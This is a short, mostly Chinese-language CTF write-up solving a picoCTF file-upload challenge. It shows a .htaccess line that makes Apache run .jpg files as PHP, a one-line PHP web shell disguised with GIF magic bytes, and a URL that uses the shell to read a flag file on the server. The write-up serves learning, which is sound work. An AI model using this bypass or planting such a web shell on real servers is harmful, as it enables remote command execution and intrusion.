---
# System prepended metadata

title: byp4ss3d

---

![image](https://hackmd.io/_uploads/ryUUSABDZe.png)

    hint 01 : Apache can be tricked into executing non-PHP files as PHP with a .htaccess file.
    
    hint 02 : Try uploading more than just one file.
    
    
![image](https://hackmd.io/_uploads/SyHhSCrDbg.png)

嘗試上傳php檔案被阻擋
看hint01 嘗試傳一個.htaccess file 發現成功繞過因此我在裡面寫
    
    AddType application/x-httpd-php .jpg
意思大概是:把 jpg file 當成 php file

接著，在建立 shell.jpg 內容為
    
    GIF89a;
    <?php system($_GET['cmd']); ?>
    
前面加上的 magic bytes 是避免一些伺服器會檢查是否為圖片 ，不影響後面的php程式執行

#### 執行步驟

##### 上傳 .htaccess file
![image](https://hackmd.io/_uploads/BywADCSDWg.png)
![image](https://hackmd.io/_uploads/BJ21O0BD-x.png)
會出現403是有讀到但是外部禁止查訪
##### 上傳 shell.jpg
![image](https://hackmd.io/_uploads/rkmb_ABDZx.png)
![image](https://hackmd.io/_uploads/BJ6fuCBPZx.png)

     
     http://amiable-citadel.picoctf.net:55526/images/shell.jpg?cmd=cat+/var/www/flag.txt
     

#### 結果
picoCTF~~{s3rv3r_byp4ss_39f9de85}~~

